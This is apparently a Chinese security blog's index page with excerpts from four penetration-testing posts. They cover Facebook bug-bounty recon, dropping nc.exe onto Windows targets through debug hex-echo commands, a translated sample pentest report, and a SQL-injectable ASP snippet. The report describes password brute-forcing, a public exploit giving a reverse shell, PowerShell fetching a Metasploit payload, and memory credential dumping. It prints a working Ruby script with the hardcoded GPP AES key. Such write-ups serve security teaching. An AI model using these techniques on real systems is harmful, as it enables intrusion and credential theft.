渗透Facebook的思路与发现

作者:Secer 发布时间:April 27, 2016 分类:渗透测试

写在故事之前

身为一位渗透测试人员,比起 Client Side 的弱点我更喜欢 Server Side 的攻击,能够直接的控制服务器、获得权限操作 SHELL 才爽 <( ̄︶ ̄)>

当然一次完美的渗透任何形式的弱点都不可小觑,在实际渗透时偶尔还是需要些 Client Side 弱点组合可以更完美的控制服务器,但是在寻找弱点时我本身还是先偏向以可直接进入服务器的方式来去寻找风险高、能长驱直入的弱点。

随着 Facebook 在世界上越来越火红、用户量越来越多,一直以来都有想要尝试看看的想法,恰巧 Facebook 在 2012 年开始有了 Bug Bounty 奖金猎人的机制让我更跃跃欲试。

一般如由渗透的角度来说习惯性都会从收集数据、侦查开始,首先界定出目标在网络上的 “范围” 有多大,姑且可以评估一下从何处比较有机会下手。例如:

Google Hacking 到什么数据?

用了几个 B 段的 IP ? C 段的 IP ?

Whois? Reverse Whois?

用了什么域名? 内部使用的域名? 接着做子域名的猜测、扫描

公司平常爱用什么样技术、设备?

在 Github, Pastebin 上是否有泄漏什么信息?

…etc

当然 Bug Bounty 并不是让你无限制的攻击,将所搜集到的范围与 Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。

一般来说大公司在渗透中比较容易出现的问题点这里举几个例子来探讨

  1. 对多数大公司而言,"网络边界”是比较难顾及、容易出现问题的一块,当公司规模越大,同时拥有数千、数万台机器在线,网管很难顾及到每台机器。在攻防里,防守要防的是一个面,但攻击只需 找个一个点就可以突破,所以防守方相对处于弱势,攻击者只要找到一台位于网络边界的机器入侵进去就可以开始在内网进行渗透了!
  2. 对于 “连网设备” 的安全意识相对薄弱,由于连网设备通常不会提供 SHELL 给管理员做进一步的操作,只能由设备本身所提供的接口设定,所以通常对于设备的防御都是从网络层来抵挡,但如遇到设备本身的 0-Day 或者是 1-Day 可能连被入侵了都不自觉。
  3. 人的安全,随着 “社工库” 的崛起,有时可以让一次渗透的流程变得异常简单,从公开数据找出公司员工列表,再从社工库找到可以登入 VPN 的员工密码就可以开始进行内网渗透,尤其当社工库数量越来越多 “量变成质变” 时只要关键人物的密码在社工库中可找到,那企业的安全性就全然突破。

理所当然在寻找 Facebook 弱点时会以平常进行渗透的思路进行,在开始搜集数据时除了针对 Facebook 本身域名查询外也对注册信箱进行 Reverse Whois 意外发现了个奇妙的域名名称

阅读剩余部分...

渗透测试中上传文件到目标系统的四种姿势

作者:Secer 发布时间:April 5, 2016 分类:黑客技巧

 

#Windows的 debug 方法

Windows 有一个程序叫 debug,这个程序可以将十六进制的机器码转换为可执行的文件。Windows 的 debug 方法可以先将文件转化为十六进制,然后通过非交互式 shell 在目标系统上 echo 出这个文件,最后使用 debug 转换十六进制并执行。Kali 里有一个名为 exe2bat 的程序位于 /usr/share/windows-binaries。

我们可以这样运行

[email protected]:/usr/share/windows-binaries# wine exe2bat.exe nc.exe nc2.txt

Finished: nc.exe > nc2.txt

[email protected]:/usr/share/windows-binaries#

这条命令会生成一个 txt 文档,其中内容类似如下:

echo 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 57 00 00 a3 00 47 65 74 43 50 49 6e 66 6f 00 9d 00 47 65 74 41 43 50 00 00 09 01 47 65 74 4f 45 4d 43 50 00 00 1e 00 43 6f 6d 70 61 72 65 53 74 72 69 6e 6$

echo e e780 >>123.hex

echo 6c 65 00 00 19 02 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 00 00 2b 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 41 00 00 2e 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 16 01 47 65 74 50 72 6f 63 41 6$

echo e e800 >>123.hex

echo 47 65 74 4e 75 6d 62 65 72 4f 66 43 6f 6e 73 6f 6c 65 49 6e 70 75 74 45 76 65 6e 74 73 00 31 00 43 72 65 61 74 65 46 69 6c 65 41 00 10 02 53 65 74 45 6e 64 4f 66 46 69 6c 65 00 00 8d 01 4c 43 4d 61 70 53 7$

echo e e880 >>123.hex

echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0$

echo e e900 >>123.hex

echo >>123.hex

echo r cx >>123.hex

echo e800 >>123.hex

echo w >>123.hex

echo q >>123.hex

debug<123.hex

copy 1.dll nc.exe

之后我们要做的就是复制文档中所有的内容,粘贴到 Shell 窗口内即可。

0C96:E8E0 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00

0C96:E8E8 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00

0C96:E8F0 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00

0C96:E8F8 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00

0C96:E900 EC. 0E. AC.

-e e900

0C96:E900 EC.

EC 0E.e AC.ac

-r cx

CX 0000

:e800

-w

Writing 0E800 bytes

-q

C:\TRANSF~1>

这样我们的文件就出现在远程的目录里了。

21/10/2015 22:44 <DIR> .

21/10/2015 22:44 <DIR> ..

21/10/2015 22:44 59.392 1.DLL

21/10/2015 22:44 184.270 123.hex

21/10/2015 22:44 59.392 nc.exe

阅读剩余部分...

老外的一份渗透测试报告

作者:Secer 发布时间:November 15, 2013 分类:渗透测试

From:penetration-testing-sample-report-2013.pdf

offensive security出的一份渗透测试报告,翻译了下重点内容 :)

过程还是很精彩的~

本次测试的域名为:megacorpone.com

先查看一下其DNS服务器:

clip_image001

然后发现 ns2.megacorpone.com 存在域传送漏洞。

clip_image002

关于域传送的漏洞,可以参考这里http://drops.wooyun.org/papers/64

从图片中可以看出域名都在50.7.67.x的IP段内,网络拓扑图:

clip_image003

在admin.megacorpone.com服务器的81端口发现了apache的webserver,然后扫一下文件路径:

clip_image004

可以看到/admin是一个需要身份验证的路径。

clip_image005

根据www.megacorpone.com网站内容做了一个字典,爆破密码,用户名就用admin了。

clip_image006

破解出密码为:nanotechnology1

进入后界面:

clip_image007

可以看到是一套phpSQLiteCMS,管理SQLite数据的:

通过此页面可以直接查询用户名和密码的hash:

clip_image008

测试发现保存的hash并非常规的方式,于是下载一份phpselitecms观察其中的hash方式:

clip_image009

知道了hash的方式是使用使用了一个10位字符的salt一起做sha1,并且字符串拼接原始salt一起放在数据库中。

我们采用同样的hash方式来暴力碰撞密码,尝试破解其他账户,又破解出两个来,收集密码的好处是可能其他系统也会使用相同的用户名密码,这样就可以轻松的进入了。

SQLite Manager软件存在一个已公开的代码注入漏洞,可以使用exp直接打:

http://www.exploit-db.com/exploits/24320/

clip_image010

反弹回shell:

clip_image011

服务器拓扑:

clip_image012

同时发现服务器可以提权,利用exp提权:

http://www.exploit-db.com/exploits/18411/

clip_image013

此时已经完全控制此台服务器。

然后好好的分析了一下此台服务器,查看到web目录下java应用只允许一个网段来访问。

后来发现这个管理员网络之一:

clip_image014

我们在web客户端增加了一个Java小程序,可以直接控制远程客户端。

(PS:出了这么多Java 0day不知道直接挂到页面上,老外的中马率怎么样)

在管理员下载并允许后:

clip_image015

此时网络拓扑:

clip_image016

发现管理员的电脑在域中,开始提升到域管理员。

发现系统中有一个组管理文件。

(ps:关于这个专门去查了一下是2008域管理存在的一个问题:http://www.carnal0wnage.com/papers/LARES-GPP.pdf

metasploit上有rb脚本可以查找xml文件并解密:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb

clip_image017

查看groups.xml文件:

clip_image018

解密:

clip_image019

解密的ruby脚本贴出来:

使用方法是:

#ruby decrypt.rb 密文

require 'rubygems'

require 'openssl'

require 'base64'

#encrypted_data = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk"

encrypted_data = ARGV

def decrypt(encrypted_data)

  padding = "=" * (4 - (encrypted_data.length % 4))

  epassword = "#{encrypted_data}#{padding}"

  decoded = Base64.decode64(epassword)

   key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"

  aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")

  aes.decrypt

  aes.key = key

  plaintext = aes.update(decoded)

  plaintext << aes.final

  pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion

   return pass

end

blah = decrypt(encrypted_data)

puts blah

尝试用plink端口转发,把内网的远程桌面连接转发出来,但是被阻断了:

clip_image020

测试后发现可以通过HTTP-Tunnel转发出来:

http://http-tunnel.sourceforge.net/

登陆的用户名密码采用的是SQLite Manager应用中的mike用户。

clip_image021

此时网络拓扑图:

clip_image022

打开IE的默认主页发现了Citrix服务器,用跟远程连接相同的用户名和密码进入:

clip_image023

Citrix环境当中,做了沙盒,只能使用IE,但是可以绕过。

使用IE的保存,弹出的对话框,新建一个powershell的bat批处理:

clip_image024

clip_image025

clip_image026

利用powershell下载metasploit的反弹程序

clip_image027

下载完毕后,在保存对话框中已管理员的权限运行

clip_image028

这样就获得了Citrix系统的权限

clip_image029

此时网络拓扑:

clip_image030

在Citrix上,尝试从内存中获取用户名密码:

clip_image031

这里包含了很多的用户名和密码,其中还包括一个windows域管理员的。

给Citrix服务器创建了一个远程连接服务并使用域管理员登陆:

clip_image032

至此已经完全控制了windows域。

clip_image033

对某非主流外贸网站的渗透测试

作者:Secer 发布时间:August 31, 2012 分类:渗透测试

首先粗略的看了下网站的整体结构、

clip_image001

发现不是那种5分钟就能叼下的垃圾企业站。

旁站看了下都是同一个程序做的

clip_image002

C 段我就懒的看了,因为像这种站所在机房你能ARP到数据的几率比中国足球队进世界杯还难。

话又说回来了。去年做外贸的时候公司用的貌似就是这套程序,当时只是粗略的看了下这套程序,没看出啥严重的漏洞。

最近公司无事,找以前同事拿来这套程序源码看了下。

发现如下安全问题:

New.asp 中

<!--#include file="top.asp"-->
<%
page=clng(request("page"))
Set rs=Server.CreateObject("ADODB.RecordSet")
sql="select * from member_news where type='"&request("type")&"' order by order0 desc"
rs.Open sql,conn,1,1
if rs.eof and rs.bof then
response.Write("No news!")
else
%>

阅读剩余部分...